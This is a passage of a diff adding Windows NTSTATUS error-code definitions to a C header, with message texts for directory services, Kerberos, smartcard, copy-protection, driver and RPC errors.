STATUS_WMI_NOT_SUPPORTED +// +// MessageText: +// +// The WMI operation is not supported by the data block or method. +// +#define STATUS_WMI_NOT_SUPPORTED ((NTSTATUS)0xC00002DDL) + +// +// MessageId: STATUS_INSUFFICIENT_POWER +// +// MessageText: +// +// There is not enough power to complete the requested operation. +// +#define STATUS_INSUFFICIENT_POWER ((NTSTATUS)0xC00002DEL) + +// +// MessageId: STATUS_SAM_NEED_BOOTKEY_PASSWORD +// +// MessageText: +// +// Security Account Manager needs to get the boot password. +// +#define STATUS_SAM_NEED_BOOTKEY_PASSWORD ((NTSTATUS)0xC00002DFL) + +// +// MessageId: STATUS_SAM_NEED_BOOTKEY_FLOPPY +// +// MessageText: +// +// Security Account Manager needs to get the boot key from floppy disk. +// +#define STATUS_SAM_NEED_BOOTKEY_FLOPPY ((NTSTATUS)0xC00002E0L) + +// +// MessageId: STATUS_DS_CANT_START +// +// MessageText: +// +// Directory Service can not start. +// +#define STATUS_DS_CANT_START ((NTSTATUS)0xC00002E1L) + +// +// MessageId: STATUS_DS_INIT_FAILURE +// +// MessageText: +// +// Directory Services could not start because of the following error: +// %hs +// Error Status: 0x%x. +// Please click OK to shutdown this system and reboot into Directory Services Restore Mode, check the event log for more detailed information. +// +#define STATUS_DS_INIT_FAILURE ((NTSTATUS)0xC00002E2L) + +// +// MessageId: STATUS_SAM_INIT_FAILURE +// +// MessageText: +// +// Security Accounts Manager initialization failed because of the following error: +// %hs +// Error Status: 0x%x. +// Please click OK to shutdown this system and reboot into Safe Mode, check the event log for more detailed information. +// +#define STATUS_SAM_INIT_FAILURE ((NTSTATUS)0xC00002E3L) + +// +// MessageId: STATUS_DS_GC_REQUIRED +// +// MessageText: +// +// The requested operation can be performed only on a global catalog server. +// +#define STATUS_DS_GC_REQUIRED ((NTSTATUS)0xC00002E4L) + +// +// MessageId: STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY +// +// MessageText: +// +// A local group can only be a member of other local groups in the same domain. +// +#define STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY ((NTSTATUS)0xC00002E5L) + +// +// MessageId: STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS +// +// MessageText: +// +// Foreign security principals cannot be members of universal groups. +// +#define STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS ((NTSTATUS)0xC00002E6L) + +// +// MessageId: STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED +// +// MessageText: +// +// Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased. +// +#define STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED ((NTSTATUS)0xC00002E7L) + +// +// MessageId: STATUS_MULTIPLE_FAULT_VIOLATION +// +// MessageText: +// +// STATUS_MULTIPLE_FAULT_VIOLATION +// +#define STATUS_MULTIPLE_FAULT_VIOLATION ((NTSTATUS)0xC00002E8L) + +// +// MessageId: STATUS_CURRENT_DOMAIN_NOT_ALLOWED +// +// MessageText: +// +// This operation can not be performed on the current domain. +// +#define STATUS_CURRENT_DOMAIN_NOT_ALLOWED ((NTSTATUS)0xC00002E9L) + +// +// MessageId: STATUS_CANNOT_MAKE +// +// MessageText: +// +// The directory or file cannot be created. +// +#define STATUS_CANNOT_MAKE ((NTSTATUS)0xC00002EAL) + +// +// MessageId: STATUS_SYSTEM_SHUTDOWN +// +// MessageText: +// +// The system is in the process of shutting down. +// +#define STATUS_SYSTEM_SHUTDOWN ((NTSTATUS)0xC00002EBL) + +// +// MessageId: STATUS_DS_INIT_FAILURE_CONSOLE +// +// MessageText: +// +// Directory Services could not start because of the following error: +// %hs +// Error Status: 0x%x. +// Please click OK to shutdown the system. You can use the recovery console to diagnose the system further. +// +#define STATUS_DS_INIT_FAILURE_CONSOLE ((NTSTATUS)0xC00002ECL) + +// +// MessageId: STATUS_DS_SAM_INIT_FAILURE_CONSOLE +// +// MessageText: +// +// Security Accounts Manager initialization failed because of the following error: +// %hs +// Error Status: 0x%x. +// Please click OK to shutdown the system. You can use the recovery console to diagnose the system further. +// +#define STATUS_DS_SAM_INIT_FAILURE_CONSOLE ((NTSTATUS)0xC00002EDL) + +// +// MessageId: STATUS_UNFINISHED_CONTEXT_DELETED +// +// MessageText: +// +// A security context was deleted before the context was completed. This is considered a logon failure. +// +#define STATUS_UNFINISHED_CONTEXT_DELETED ((NTSTATUS)0xC00002EEL) + +// +// MessageId: STATUS_NO_TGT_REPLY +// +// MessageText: +// +// The client is trying to negotiate a context and the server requires user-to-user but didn't send a TGT reply. +// +#define STATUS_NO_TGT_REPLY ((NTSTATUS)0xC00002EFL) + +// +// MessageId: STATUS_OBJECTID_NOT_FOUND +// +// MessageText: +// +// An object ID was not found in the file. +// +#define STATUS_OBJECTID_NOT_FOUND ((NTSTATUS)0xC00002F0L) + +// +// MessageId: STATUS_NO_IP_ADDRESSES +// +// MessageText: +// +// Unable to accomplish the requested task because the local machine does not have any IP addresses. +// +#define STATUS_NO_IP_ADDRESSES ((NTSTATUS)0xC00002F1L) + +// +// MessageId: STATUS_WRONG_CREDENTIAL_HANDLE +// +// MessageText: +// +// The supplied credential handle does not match the credential associated with the security context. +// +#define STATUS_WRONG_CREDENTIAL_HANDLE ((NTSTATUS)0xC00002F2L) + +// +// MessageId: STATUS_CRYPTO_SYSTEM_INVALID +// +// MessageText: +// +// The crypto system or checksum function is invalid because a required function is unavailable. +// +#define STATUS_CRYPTO_SYSTEM_INVALID ((NTSTATUS)0xC00002F3L) + +// +// MessageId: STATUS_MAX_REFERRALS_EXCEEDED +// +// MessageText: +// +// The number of maximum ticket referrals has been exceeded. +// +#define STATUS_MAX_REFERRALS_EXCEEDED ((NTSTATUS)0xC00002F4L) + +// +// MessageId: STATUS_MUST_BE_KDC +// +// MessageText: +// +// The local machine must be a Kerberos KDC (domain controller) and it is not. +// +#define STATUS_MUST_BE_KDC ((NTSTATUS)0xC00002F5L) + +// +// MessageId: STATUS_STRONG_CRYPTO_NOT_SUPPORTED +// +// MessageText: +// +// The other end of the security negotiation is requires strong crypto but it is not supported on the local machine. +// +#define STATUS_STRONG_CRYPTO_NOT_SUPPORTED ((NTSTATUS)0xC00002F6L) + +// +// MessageId: STATUS_TOO_MANY_PRINCIPALS +// +// MessageText: +// +// The KDC reply contained more than one principal name. +// +#define STATUS_TOO_MANY_PRINCIPALS ((NTSTATUS)0xC00002F7L) + +// +// MessageId: STATUS_NO_PA_DATA +// +// MessageText: +// +// Expected to find PA data for a hint of what etype to use, but it was not found. +// +#define STATUS_NO_PA_DATA ((NTSTATUS)0xC00002F8L) + +// +// MessageId: STATUS_PKINIT_NAME_MISMATCH +// +// MessageText: +// +// The client certificate does not contain a valid UPN, or does not match the client name +// in the logon request. Please contact your administrator. +// +#define STATUS_PKINIT_NAME_MISMATCH ((NTSTATUS)0xC00002F9L) + +// +// MessageId: STATUS_SMARTCARD_LOGON_REQUIRED +// +// MessageText: +// +// Smartcard logon is required and was not used. +// +#define STATUS_SMARTCARD_LOGON_REQUIRED ((NTSTATUS)0xC00002FAL) + +// +// MessageId: STATUS_KDC_INVALID_REQUEST +// +// MessageText: +// +// An invalid request was sent to the KDC. +// +#define STATUS_KDC_INVALID_REQUEST ((NTSTATUS)0xC00002FBL) + +// +// MessageId: STATUS_KDC_UNABLE_TO_REFER +// +// MessageText: +// +// The KDC was unable to generate a referral for the service requested. +// +#define STATUS_KDC_UNABLE_TO_REFER ((NTSTATUS)0xC00002FCL) + +// +// MessageId: STATUS_KDC_UNKNOWN_ETYPE +// +// MessageText: +// +// The encryption type requested is not supported by the KDC. +// +#define STATUS_KDC_UNKNOWN_ETYPE ((NTSTATUS)0xC00002FDL) + +// +// MessageId: STATUS_SHUTDOWN_IN_PROGRESS +// +// MessageText: +// +// A system shutdown is in progress. +// +#define STATUS_SHUTDOWN_IN_PROGRESS ((NTSTATUS)0xC00002FEL) + +// +// MessageId: STATUS_SERVER_SHUTDOWN_IN_PROGRESS +// +// MessageText: +// +// The server machine is shutting down. +// +#define STATUS_SERVER_SHUTDOWN_IN_PROGRESS ((NTSTATUS)0xC00002FFL) + +// +// MessageId: STATUS_NOT_SUPPORTED_ON_SBS +// +// MessageText: +// +// This operation is not supported on a computer running Windows Server 2003 for Small Business Server +// +#define STATUS_NOT_SUPPORTED_ON_SBS ((NTSTATUS)0xC0000300L) + +// +// MessageId: STATUS_WMI_GUID_DISCONNECTED +// +// MessageText: +// +// The WMI GUID is no longer available +// +#define STATUS_WMI_GUID_DISCONNECTED ((NTSTATUS)0xC0000301L) + +// +// MessageId: STATUS_WMI_ALREADY_DISABLED +// +// MessageText: +// +// Collection or events for the WMI GUID is already disabled. +// +#define STATUS_WMI_ALREADY_DISABLED ((NTSTATUS)0xC0000302L) + +// +// MessageId: STATUS_WMI_ALREADY_ENABLED +// +// MessageText: +// +// Collection or events for the WMI GUID is already enabled. +// +#define STATUS_WMI_ALREADY_ENABLED ((NTSTATUS)0xC0000303L) + +// +// MessageId: STATUS_MFT_TOO_FRAGMENTED +// +// MessageText: +// +// The Master File Table on the volume is too fragmented to complete this operation. +// +#define STATUS_MFT_TOO_FRAGMENTED ((NTSTATUS)0xC0000304L) + +// +// MessageId: STATUS_COPY_PROTECTION_FAILURE +// +// MessageText: +// +// Copy protection failure. +// +#define STATUS_COPY_PROTECTION_FAILURE ((NTSTATUS)0xC0000305L) + +// +// MessageId: STATUS_CSS_AUTHENTICATION_FAILURE +// +// MessageText: +// +// Copy protection error - DVD CSS Authentication failed. +// +#define STATUS_CSS_AUTHENTICATION_FAILURE ((NTSTATUS)0xC0000306L) + +// +// MessageId: STATUS_CSS_KEY_NOT_PRESENT +// +// MessageText: +// +// Copy protection error - The given sector does not contain a valid key. +// +#define STATUS_CSS_KEY_NOT_PRESENT ((NTSTATUS)0xC0000307L) + +// +// MessageId: STATUS_CSS_KEY_NOT_ESTABLISHED +// +// MessageText: +// +// Copy protection error - DVD session key not established. +// +#define STATUS_CSS_KEY_NOT_ESTABLISHED ((NTSTATUS)0xC0000308L) + +// +// MessageId: STATUS_CSS_SCRAMBLED_SECTOR +// +// MessageText: +// +// Copy protection error - The read failed because the sector is encrypted. +// +#define STATUS_CSS_SCRAMBLED_SECTOR ((NTSTATUS)0xC0000309L) + +// +// MessageId: STATUS_CSS_REGION_MISMATCH +// +// MessageText: +// +// Copy protection error - The given DVD's region does not correspond to the +// region setting of the drive. +// +#define STATUS_CSS_REGION_MISMATCH ((NTSTATUS)0xC000030AL) + +// +// MessageId: STATUS_CSS_RESETS_EXHAUSTED +// +// MessageText: +// +// Copy protection error - The drive's region setting may be permanent. +// +#define STATUS_CSS_RESETS_EXHAUSTED ((NTSTATUS)0xC000030BL) + +/*++ + + MessageId's 0x030c - 0x031f (inclusive) are reserved for future **STORAGE** + copy protection errors. + +--*/ +// +// MessageId: STATUS_PKINIT_FAILURE +// +// MessageText: +// +// The kerberos protocol encountered an error while validating the KDC certificate during smartcard Logon. There +// is more information in the system event log. +// +#define STATUS_PKINIT_FAILURE ((NTSTATUS)0xC0000320L) + +// +// MessageId: STATUS_SMARTCARD_SUBSYSTEM_FAILURE +// +// MessageText: +// +// The kerberos protocol encountered an error while attempting to utilize the smartcard subsystem. +// +#define STATUS_SMARTCARD_SUBSYSTEM_FAILURE ((NTSTATUS)0xC0000321L) + +// +// MessageId: STATUS_NO_KERB_KEY +// +// MessageText: +// +// The target server does not have acceptable kerberos credentials. +// +#define STATUS_NO_KERB_KEY ((NTSTATUS)0xC0000322L) + +/*++ + + MessageId's 0x0323 - 0x034f (inclusive) are reserved for other future copy + protection errors. + +--*/ +// +// MessageId: STATUS_HOST_DOWN +// +// MessageText: +// +// The transport determined that the remote system is down. +// +#define STATUS_HOST_DOWN ((NTSTATUS)0xC0000350L) + +// +// MessageId: STATUS_UNSUPPORTED_PREAUTH +// +// MessageText: +// +// An unsupported preauthentication mechanism was presented to the kerberos package. +// +#define STATUS_UNSUPPORTED_PREAUTH ((NTSTATUS)0xC0000351L) + +// +// MessageId: STATUS_EFS_ALG_BLOB_TOO_BIG +// +// MessageText: +// +// The encryption algorithm used on the source file needs a bigger key buffer than the one used on the destination file. +// +#define STATUS_EFS_ALG_BLOB_TOO_BIG ((NTSTATUS)0xC0000352L) + +// +// MessageId: STATUS_PORT_NOT_SET +// +// MessageText: +// +// An attempt to remove a processes DebugPort was made, but a port was not already associated with the process. +// +#define STATUS_PORT_NOT_SET ((NTSTATUS)0xC0000353L) + +// +// MessageId: STATUS_DEBUGGER_INACTIVE +// +// MessageText: +// +// An attempt to do an operation on a debug port failed because the port is in the process of being deleted. +// +#define STATUS_DEBUGGER_INACTIVE ((NTSTATUS)0xC0000354L) + +// +// MessageId: STATUS_DS_VERSION_CHECK_FAILURE +// +// MessageText: +// +// This version of Windows is not compatible with the behavior version of directory forest, domain or domain controller. +// +#define STATUS_DS_VERSION_CHECK_FAILURE ((NTSTATUS)0xC0000355L) + +// +// MessageId: STATUS_AUDITING_DISABLED +// +// MessageText: +// +// The specified event is currently not being audited. +// +#define STATUS_AUDITING_DISABLED ((NTSTATUS)0xC0000356L) + +// +// MessageId: STATUS_PRENT4_MACHINE_ACCOUNT +// +// MessageText: +// +// The machine account was created pre-NT4. The account needs to be recreated. +// +#define STATUS_PRENT4_MACHINE_ACCOUNT ((NTSTATUS)0xC0000357L) + +// +// MessageId: STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER +// +// MessageText: +// +// A account group can not have a universal group as a member. +// +#define STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER ((NTSTATUS)0xC0000358L) + +// +// MessageId: STATUS_INVALID_IMAGE_WIN_32 +// +// MessageText: +// +// The specified image file did not have the correct format, it appears to be a 32-bit Windows image. +// +#define STATUS_INVALID_IMAGE_WIN_32 ((NTSTATUS)0xC0000359L) + +// +// MessageId: STATUS_INVALID_IMAGE_WIN_64 +// +// MessageText: +// +// The specified image file did not have the correct format, it appears to be a 64-bit Windows image. +// +#define STATUS_INVALID_IMAGE_WIN_64 ((NTSTATUS)0xC000035AL) + +// +// MessageId: STATUS_BAD_BINDINGS +// +// MessageText: +// +// Client's supplied SSPI channel bindings were incorrect. +// +#define STATUS_BAD_BINDINGS ((NTSTATUS)0xC000035BL) + +// +// MessageId: STATUS_NETWORK_SESSION_EXPIRED +// +// MessageText: +// +// The client's session has expired, so the client must reauthenticate to continue accessing the remote resources. +// +#define STATUS_NETWORK_SESSION_EXPIRED ((NTSTATUS)0xC000035CL) + +// +// MessageId: STATUS_APPHELP_BLOCK +// +// MessageText: +// +// AppHelp dialog canceled thus preventing the application from starting. +// +#define STATUS_APPHELP_BLOCK ((NTSTATUS)0xC000035DL) + +// +// MessageId: STATUS_ALL_SIDS_FILTERED +// +// MessageText: +// +// The SID filtering operation removed all SIDs. +// +#define STATUS_ALL_SIDS_FILTERED ((NTSTATUS)0xC000035EL) + +// +// MessageId: STATUS_NOT_SAFE_MODE_DRIVER +// +// MessageText: +// +// The driver was not loaded because the system is booting into safe mode. +// +#define STATUS_NOT_SAFE_MODE_DRIVER ((NTSTATUS)0xC000035FL) + +// +// MessageId: STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT +// +// MessageText: +// +// Access to %1 has been restricted by your Administrator by the default software restriction policy level. +// +#define STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT ((NTSTATUS)0xC0000361L) + +// +// MessageId: STATUS_ACCESS_DISABLED_BY_POLICY_PATH +// +// MessageText: +// +// Access to %1 has been restricted by your Administrator by location with policy rule %2 placed on path %3 +// +#define STATUS_ACCESS_DISABLED_BY_POLICY_PATH ((NTSTATUS)0xC0000362L) + +// +// MessageId: STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER +// +// MessageText: +// +// Access to %1 has been restricted by your Administrator by software publisher policy. +// +#define STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER ((NTSTATUS)0xC0000363L) + +// +// MessageId: STATUS_ACCESS_DISABLED_BY_POLICY_OTHER +// +// MessageText: +// +// Access to %1 has been restricted by your Administrator by policy rule %2. +// +#define STATUS_ACCESS_DISABLED_BY_POLICY_OTHER ((NTSTATUS)0xC0000364L) + +// +// MessageId: STATUS_FAILED_DRIVER_ENTRY +// +// MessageText: +// +// The driver was not loaded because it failed it's initialization call. +// +#define STATUS_FAILED_DRIVER_ENTRY ((NTSTATUS)0xC0000365L) + +// +// MessageId: STATUS_DEVICE_ENUMERATION_ERROR +// +// MessageText: +// +// The "%hs" encountered an error while applying power or reading the device configuration. +// This may be caused by a failure of your hardware or by a poor connection. +// +#define STATUS_DEVICE_ENUMERATION_ERROR ((NTSTATUS)0xC0000366L) + +// +// MessageId: STATUS_WAIT_FOR_OPLOCK +// +// MessageText: +// +// An operation is blocked waiting for an oplock. +// +#define STATUS_WAIT_FOR_OPLOCK ((NTSTATUS)0x00000367L) + +// +// MessageId: STATUS_MOUNT_POINT_NOT_RESOLVED +// +// MessageText: +// +// The create operation failed because the name contained at least one mount point which resolves to a volume to which the specified device object is not attached. +// +#define STATUS_MOUNT_POINT_NOT_RESOLVED ((NTSTATUS)0xC0000368L) + +// +// MessageId: STATUS_INVALID_DEVICE_OBJECT_PARAMETER +// +// MessageText: +// +// The device object parameter is either not a valid device object or is not attached to the volume specified by the file name. +// +#define STATUS_INVALID_DEVICE_OBJECT_PARAMETER ((NTSTATUS)0xC0000369L) + +// +// MessageId: STATUS_MCA_OCCURED +// +// MessageText: +// +// A Machine Check Error has occurred. Please check the system eventlog for additional information. +// +#define STATUS_MCA_OCCURED ((NTSTATUS)0xC000036AL) + +// +// MessageId: STATUS_DRIVER_BLOCKED_CRITICAL +// +// MessageText: +// +// Driver %2 has been blocked from loading. +// +#define STATUS_DRIVER_BLOCKED_CRITICAL ((NTSTATUS)0xC000036BL) + +// +// MessageId: STATUS_DRIVER_BLOCKED +// +// MessageText: +// +// Driver %2 has been blocked from loading. +// +#define STATUS_DRIVER_BLOCKED ((NTSTATUS)0xC000036CL) + +// +// MessageId: STATUS_DRIVER_DATABASE_ERROR +// +// MessageText: +// +// There was error [%2] processing the driver database. +// +#define STATUS_DRIVER_DATABASE_ERROR ((NTSTATUS)0xC000036DL) + +// +// MessageId: STATUS_SYSTEM_HIVE_TOO_LARGE +// +// MessageText: +// +// System hive size has exceeded its limit. +// +#define STATUS_SYSTEM_HIVE_TOO_LARGE ((NTSTATUS)0xC000036EL) + +// +// MessageId: STATUS_INVALID_IMPORT_OF_NON_DLL +// +// MessageText: +// +// A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image. +// +#define STATUS_INVALID_IMPORT_OF_NON_DLL ((NTSTATUS)0xC000036FL) + +// +// MessageId: STATUS_DS_SHUTTING_DOWN +// +// MessageText: +// +// The Directory Service is shuting down. +// +#define STATUS_DS_SHUTTING_DOWN ((NTSTATUS)0x40000370L) + +// +// MessageId: STATUS_SMARTCARD_WRONG_PIN +// +// MessageText: +// +// An incorrect PIN was presented to the smart card +// +#define STATUS_SMARTCARD_WRONG_PIN ((NTSTATUS)0xC0000380L) + +// +// MessageId: STATUS_SMARTCARD_CARD_BLOCKED +// +// MessageText: +// +// The smart card is blocked +// +#define STATUS_SMARTCARD_CARD_BLOCKED ((NTSTATUS)0xC0000381L) + +// +// MessageId: STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED +// +// MessageText: +// +// No PIN was presented to the smart card +// +#define STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED ((NTSTATUS)0xC0000382L) + +// +// MessageId: STATUS_SMARTCARD_NO_CARD +// +// MessageText: +// +// No smart card available +// +#define STATUS_SMARTCARD_NO_CARD ((NTSTATUS)0xC0000383L) + +// +// MessageId: STATUS_SMARTCARD_NO_KEY_CONTAINER +// +// MessageText: +// +// The requested key container does not exist on the smart card +// +#define STATUS_SMARTCARD_NO_KEY_CONTAINER ((NTSTATUS)0xC0000384L) + +// +// MessageId: STATUS_SMARTCARD_NO_CERTIFICATE +// +// MessageText: +// +// The requested certificate does not exist on the smart card +// +#define STATUS_SMARTCARD_NO_CERTIFICATE ((NTSTATUS)0xC0000385L) + +// +// MessageId: STATUS_SMARTCARD_NO_KEYSET +// +// MessageText: +// +// The requested keyset does not exist +// +#define STATUS_SMARTCARD_NO_KEYSET ((NTSTATUS)0xC0000386L) + +// +// MessageId: STATUS_SMARTCARD_IO_ERROR +// +// MessageText: +// +// A communication error with the smart card has been detected. +// +#define STATUS_SMARTCARD_IO_ERROR ((NTSTATUS)0xC0000387L) + +// +// MessageId: STATUS_DOWNGRADE_DETECTED +// +// MessageText: +// +// The system detected a possible attempt to compromise security. Please ensure that you can contact the server that authenticated you. +// +#define STATUS_DOWNGRADE_DETECTED ((NTSTATUS)0xC0000388L) + +// +// MessageId: STATUS_SMARTCARD_CERT_REVOKED +// +// MessageText: +// +// The smartcard certificate used for authentication has been revoked. +// Please contact your system administrator. There may be additional information in the +// event log. +// +#define STATUS_SMARTCARD_CERT_REVOKED ((NTSTATUS)0xC0000389L) + +// +// MessageId: STATUS_ISSUING_CA_UNTRUSTED +// +// MessageText: +// +// An untrusted certificate authority was detected While processing the +// smartcard certificate used for authentication. Please contact your system +// administrator. +// +#define STATUS_ISSUING_CA_UNTRUSTED ((NTSTATUS)0xC000038AL) + +// +// MessageId: STATUS_REVOCATION_OFFLINE_C +// +// MessageText: +// +// The revocation status of the smartcard certificate used for +// authentication could not be determined. Please contact your system administrator. +// +#define STATUS_REVOCATION_OFFLINE_C ((NTSTATUS)0xC000038BL) + +// +// MessageId: STATUS_PKINIT_CLIENT_FAILURE +// +// MessageText: +// +// The smartcard certificate used for authentication was not trusted. Please +// contact your system administrator. +// +#define STATUS_PKINIT_CLIENT_FAILURE ((NTSTATUS)0xC000038CL) + +// +// MessageId: STATUS_SMARTCARD_CERT_EXPIRED +// +// MessageText: +// +// The smartcard certificate used for authentication has expired. Please +// contact your system administrator. +// +#define STATUS_SMARTCARD_CERT_EXPIRED ((NTSTATUS)0xC000038DL) + +// +// MessageId: STATUS_DRIVER_FAILED_PRIOR_UNLOAD +// +// MessageText: +// +// The driver could not be loaded because a previous version of the driver is still in memory. +// +#define STATUS_DRIVER_FAILED_PRIOR_UNLOAD ((NTSTATUS)0xC000038EL) + +// +// MessageId: STATUS_SMARTCARD_SILENT_CONTEXT +// +// MessageText: +// +// The smartcard provider could not perform the action since the context was acquired as silent. +// +#define STATUS_SMARTCARD_SILENT_CONTEXT ((NTSTATUS)0xC000038FL) + + /* MessageId up to 0x400 is reserved for smart cards */ +// +// MessageId: STATUS_PER_USER_TRUST_QUOTA_EXCEEDED +// +// MessageText: +// +// The current user's delegated trust creation quota has been exceeded. +// +#define STATUS_PER_USER_TRUST_QUOTA_EXCEEDED ((NTSTATUS)0xC0000401L) + +// +// MessageId: STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED +// +// MessageText: +// +// The total delegated trust creation quota has been exceeded. +// +#define STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED ((NTSTATUS)0xC0000402L) + +// +// MessageId: STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED +// +// MessageText: +// +// The current user's delegated trust deletion quota has been exceeded. +// +#define STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED ((NTSTATUS)0xC0000403L) + +// +// MessageId: STATUS_DS_NAME_NOT_UNIQUE +// +// MessageText: +// +// The requested name already exists as a unique identifier. +// +#define STATUS_DS_NAME_NOT_UNIQUE ((NTSTATUS)0xC0000404L) + +// +// MessageId: STATUS_DS_DUPLICATE_ID_FOUND +// +// MessageText: +// +// The requested object has a non-unique identifier and cannot be retrieved. +// +#define STATUS_DS_DUPLICATE_ID_FOUND ((NTSTATUS)0xC0000405L) + +// +// MessageId: STATUS_DS_GROUP_CONVERSION_ERROR +// +// MessageText: +// +// The group cannot be converted due to attribute restrictions on the requested group type. +// +#define STATUS_DS_GROUP_CONVERSION_ERROR ((NTSTATUS)0xC0000406L) + +// +// MessageId: STATUS_VOLSNAP_PREPARE_HIBERNATE +// +// MessageText: +// +// {Volume Shadow Copy Service} +// Please wait while the Volume Shadow Copy Service prepares volume %hs for hibernation. +// +#define STATUS_VOLSNAP_PREPARE_HIBERNATE ((NTSTATUS)0xC0000407L) + +// +// MessageId: STATUS_USER2USER_REQUIRED +// +// MessageText: +// +// Kerberos sub-protocol User2User is required. +// +#define STATUS_USER2USER_REQUIRED ((NTSTATUS)0xC0000408L) + +// +// MessageId: STATUS_NO_S4U_PROT_SUPPORT +// +// MessageText: +// +// The Kerberos subsystem encountered an error. A service for user protocol request was made +// against a domain controller which does not support service for user. +// +#define STATUS_NO_S4U_PROT_SUPPORT ((NTSTATUS)0xC000040AL) + +// +// MessageId: STATUS_CROSSREALM_DELEGATION_FAILURE +// +// MessageText: +// +// An attempt was made by this server to make a Kerberos constrained delegation request for a target +// outside of the server's realm. This is not supported, and indicates a misconfiguration on this +// server's allowed to delegate to list. Please contact your administrator. +// +#define STATUS_CROSSREALM_DELEGATION_FAILURE ((NTSTATUS)0xC000040BL) + +// +// MessageId: STATUS_REVOCATION_OFFLINE_KDC +// +// MessageText: +// +// The revocation status of the domain controller certificate used for smartcard +// authentication could not be determined. There is additional information in the system event +// log. Please contact your system administrator. +// +#define STATUS_REVOCATION_OFFLINE_KDC ((NTSTATUS)0xC000040CL) + +// +// MessageId: STATUS_ISSUING_CA_UNTRUSTED_KDC +// +// MessageText: +// +// An untrusted certificate authority was detected while processing the +// domain controller certificate used for authentication. There is additional information in +// the system event log. Please contact your system administrator. +// +#define STATUS_ISSUING_CA_UNTRUSTED_KDC ((NTSTATUS)0xC000040DL) + +// +// MessageId: STATUS_KDC_CERT_EXPIRED +// +// MessageText: +// +// The domain controller certificate used for smartcard logon has expired. +// Please contact your system administrator with the contents of your system event log. +// +#define STATUS_KDC_CERT_EXPIRED ((NTSTATUS)0xC000040EL) + +// +// MessageId: STATUS_KDC_CERT_REVOKED +// +// MessageText: +// +// The domain controller certificate used for smartcard logon has been revoked. +// Please contact your system administrator with the contents of your system event log. +// +#define STATUS_KDC_CERT_REVOKED ((NTSTATUS)0xC000040FL) + +// +// MessageId: STATUS_PARAMETER_QUOTA_EXCEEDED +// +// MessageText: +// +// Data present in one of the parameters is more than the function can operate on. +// +#define STATUS_PARAMETER_QUOTA_EXCEEDED ((NTSTATUS)0xC0000410L) + +// +// MessageId: STATUS_HIBERNATION_FAILURE +// +// MessageText: +// +// The system has failed to hibernate (The error code is %hs). Hibernation will be disabled until the system is restarted. +// +#define STATUS_HIBERNATION_FAILURE ((NTSTATUS)0xC0000411L) + +// +// MessageId: STATUS_DELAY_LOAD_FAILED +// +// MessageText: +// +// An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed. +// +#define STATUS_DELAY_LOAD_FAILED ((NTSTATUS)0xC0000412L) + +// +// MessageId: STATUS_AUTHENTICATION_FIREWALL_FAILED +// +// MessageText: +// +// Logon Failure: The machine you are logging onto is protected by an authentication firewall. The specified account is not allowed to authenticate to the machine. +// +#define STATUS_AUTHENTICATION_FIREWALL_FAILED ((NTSTATUS)0xC0000413L) + +// +// MessageId: STATUS_VDM_DISALLOWED +// +// MessageText: +// +// %hs is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator. +// +#define STATUS_VDM_DISALLOWED ((NTSTATUS)0xC0000414L) + +// +// MessageId: STATUS_HUNG_DISPLAY_DRIVER_THREAD +// +// MessageText: +// +// {Display Driver Stopped Responding} +// The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. +// The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft. +// +#define STATUS_HUNG_DISPLAY_DRIVER_THREAD ((NTSTATUS)0xC0000415L) + +/*++ + + MessageId=0x0423 Facility=System Severity=ERROR SymbolicName=STATUS_CALLBACK_POP_STACK + Language=English + An exception has occurred in a user mode callback and the kernel callback frame should be removed. + . + +--*/ + +#define STATUS_CALLBACK_POP_STACK ((NTSTATUS)0xC0000423L) + +/*++ + + MessageId=0x0424 Facility=System Severity=ERROR SymbolicName=STATUS_INCOMPATIBLE_DRIVER_BLOCKED + Language=English + %1 has been blocked from loading due to incompatibility with this system. Please contact your software + vendor for a compatible version of the driver. + . + +--*/ + +#define STATUS_INCOMPATIBLE_DRIVER_BLOCKED ((NTSTATUS)0xC0000424L) + +// +// MessageId: STATUS_ENCOUNTERED_WRITE_IN_PROGRESS +// +// MessageText: +// +// The attempted write operation encountered a write already in progress for some portion of the range. +// +#define STATUS_ENCOUNTERED_WRITE_IN_PROGRESS ((NTSTATUS)0xC0000433L) + +// +// MessageId: STATUS_WOW_ASSERTION +// +// MessageText: +// +// WOW Assertion Error. +// +#define STATUS_WOW_ASSERTION ((NTSTATUS)0xC0009898L) + +// +// MessageId: DBG_NO_STATE_CHANGE +// +// MessageText: +// +// Debugger did not perform a state change. +// +#define DBG_NO_STATE_CHANGE ((NTSTATUS)0xC0010001L) + +// +// MessageId: DBG_APP_NOT_IDLE +// +// MessageText: +// +// Debugger has found the application is not idle. +// +#define DBG_APP_NOT_IDLE ((NTSTATUS)0xC0010002L) + +// +// MessageId: RPC_NT_INVALID_STRING_BINDING +// +// MessageText: +// +// The string binding is invalid. +// +#define RPC_NT_INVALID_STRING_BINDING ((NTSTATUS)0xC0020001L) + +// +// MessageId: RPC_NT_WRONG_KIND_OF_BINDING +// +// MessageText: +// +// The binding handle is not the correct type. +// +#define RPC_NT_WRONG_KIND_OF_BINDING ((NTSTATUS)0xC0020002L) + +// +// MessageId: RPC_NT_INVALID_BINDING +// +// MessageText: +// +// The binding handle is invalid. +// +#define RPC_NT_INVALID_BINDING 